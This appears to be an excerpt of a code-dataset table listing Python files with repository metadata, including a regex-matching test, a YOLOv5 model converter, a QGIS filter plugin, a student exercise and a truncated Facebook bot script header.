] | 2 | 2021-11-05T18:07:48.000Z | 2022-02-24T21:25:07.000Z | #mau ngapain? recode doang ga ngasih bintang ampass!
import os,sys,time,requests,re,random
from time import sleep
from bs4 import BeautifulSoup as bs
from concurrent.futures import ThreadPoolExecutor
"""
Project : bot facebook
author : fahmiapz
di update pada : 28 november 2021
"""
b="\033[94m"
c="\033[96m"
g="\033[92m... | 34.815696 | 357 | 0.541359 |
0fef719fe529f9bbfdcec94e59d3585a22f29ebc | 3,323 | py | Python | Packs/CommonScripts/Scripts/MatchRegexV2/MatchRegexV2_test.py | diCagri/content | c532c50b213e6dddb8ae6a378d6d09198e08fc9f | [
"MIT"
] | 799 | 2016-08-02T06:43:14.000Z | 2022-03-31T11:10:11.000Z | Packs/CommonScripts/Scripts/MatchRegexV2/MatchRegexV2_test.py | diCagri/content | c532c50b213e6dddb8ae6a378d6d09198e08fc9f | [
"MIT"
] | 9,317 | 2016-08-07T19:00:51.000Z | 2022-03-31T21:56:04.000Z | Packs/CommonScripts/Scripts/MatchRegexV2/MatchRegexV2_test.py | diCagri/content | c532c50b213e6dddb8ae6a378d6d09198e08fc9f | [
"MIT"
] | 1,297 | 2016-08-04T13:59:00.000Z | 2022-03-31T23:43:06.000Z | import re
import pytest
from MatchRegexV2 import parse_regex_flags, main
class TestParseRegexFlags:
@staticmethod
def test__sanity():
flags, multiple_matches = parse_regex_flags()
assert re.I in flags
assert re.M in flags
assert multiple_matches
@staticmethod
def test... | 31.951923 | 113 | 0.59043 |
e87e408295eaf5ddd6a5e4ba5fdd862c83711692 | 6,851 | py | Python | yolov5-coreml-tflite-converter/tflite/tf_converter/pytorch_to_tf_converter.py | SchweizerischeBundesbahnen/sbb-ml-models | 485356aeb0a277907c160d435f7f654154046a70 | [
"MIT"
] | null | null | null | yolov5-coreml-tflite-converter/tflite/tf_converter/pytorch_to_tf_converter.py | SchweizerischeBundesbahnen/sbb-ml-models | 485356aeb0a277907c160d435f7f654154046a70 | [
"MIT"
] | null | null | null | yolov5-coreml-tflite-converter/tflite/tf_converter/pytorch_to_tf_converter.py | SchweizerischeBundesbahnen/sbb-ml-models | 485356aeb0a277907c160d435f7f654154046a70 | [
"MIT"
] | null | null | null | import logging
from pathlib import Path
import tensorflow as tf
from constants import OUTPUT_DIR, DEFAULT_TFLITE_NAME, DEFAULT_IOU_THRESHOLD, \
DEFAULT_CONF_THRESHOLD, FLOAT32_SUFFIX, FLOAT16_SUFFIX, INT8_SUFFIX, FULLINT8_SUFFIX, TFLITE, SAVED_MODEL, \
FLOAT32, \
FLOAT16, INT8, FULLINT8, SIMPLE, COMBINED,... | 50.748148 | 147 | 0.666326 |
e8a431d56364727b8c93e99ac72dd844afe9247b | 322 | py | Python | Curso-Em-Video-Python/2Exercicios/041_classificando_atletas.py | pedrohd21/Cursos-Feitos | b223aad83867bfa45ad161d133e33c2c200d42bd | [
"MIT"
] | null | null | null | Curso-Em-Video-Python/2Exercicios/041_classificando_atletas.py | pedrohd21/Cursos-Feitos | b223aad83867bfa45ad161d133e33c2c200d42bd | [
"MIT"
] | null | null | null | Curso-Em-Video-Python/2Exercicios/041_classificando_atletas.py | pedrohd21/Cursos-Feitos | b223aad83867bfa45ad161d133e33c2c200d42bd | [
"MIT"
] | null | null | null | print('Confederação Nacional de Natação')
print('-' * 30)
idade = int(input('Qual a sua idade: '))
if idade < 10:
print('Categoria Mirim')
elif idade < 15:
print('Categoria Infantil')
elif idade < 20:
print('Categoria Junior')
elif idade == 20:
print('Categoria Senior')
else:
print('Categoria Master... | 24.769231 | 41 | 0.664596 |
ada2513373369bfc04cc8edcdcfaa26710e5bfe2 | 210 | py | Python | packages/watchmen-storage-mongodb/src/watchmen_storage_mongodb/__init__.py | Indexical-Metrics-Measure-Advisory/watchmen | c54ec54d9f91034a38e51fd339ba66453d2c7a6d | [
"MIT"
] | null | null | null | packages/watchmen-storage-mongodb/src/watchmen_storage_mongodb/__init__.py | Indexical-Metrics-Measure-Advisory/watchmen | c54ec54d9f91034a38e51fd339ba66453d2c7a6d | [
"MIT"
] | null | null | null | packages/watchmen-storage-mongodb/src/watchmen_storage_mongodb/__init__.py | Indexical-Metrics-Measure-Advisory/watchmen | c54ec54d9f91034a38e51fd339ba66453d2c7a6d | [
"MIT"
] | null | null | null | from .data_source_mongo import MongoDataSourceHelper, MongoDataSourceParams
from .storage_mongo import StorageMongoDB, TopicDataStorageMongoDB
from .storage_mongo_configuration import StorageMongoConfiguration
| 52.5 | 75 | 0.909524 |
7ea54db6f54530e06b72b6cf7230bcb36e670367 | 17,321 | py | Python | GZP_GTO_QGIS/INSTALLATION/GeoTaskOrganizer/mActionGTOfilter.py | msgis/swwat-gzp-template | 080afbe9d49fb34ed60ba45654383d9cfca01e24 | [
"MIT"
] | 3 | 2019-06-18T15:28:09.000Z | 2019-07-11T07:31:45.000Z | GZP_GTO_QGIS/INSTALLATION/GeoTaskOrganizer/mActionGTOfilter.py | msgis/swwat-gzp-template | 080afbe9d49fb34ed60ba45654383d9cfca01e24 | [
"MIT"
] | 2 | 2019-07-11T14:03:25.000Z | 2021-02-08T16:14:04.000Z | GZP_GTO_QGIS/INSTALLATION/GeoTaskOrganizer/mActionGTOfilter.py | msgis/swwat-gzp-template | 080afbe9d49fb34ed60ba45654383d9cfca01e24 | [
"MIT"
] | 1 | 2019-06-12T11:07:37.000Z | 2019-06-12T11:07:37.000Z | #!/usr/bin/python
# -*- coding: utf-8 -*-
from qgis.core import QgsProject, QgsVectorLayer, QgsVectorLayerCache, QgsAttributeTableConfig, QgsFeatureRequest
from qgis.gui import QgsAttributeTableModel, QgsAttributeTableView, QgsAttributeTableFilterModel, QgsAttributeEditorContext
from PyQt5.QtCore import Qt, QObject, Q... | 39.545662 | 174 | 0.580047 |
Subsets and Splits
No community queries yet
The top public SQL queries from the community will appear here once available.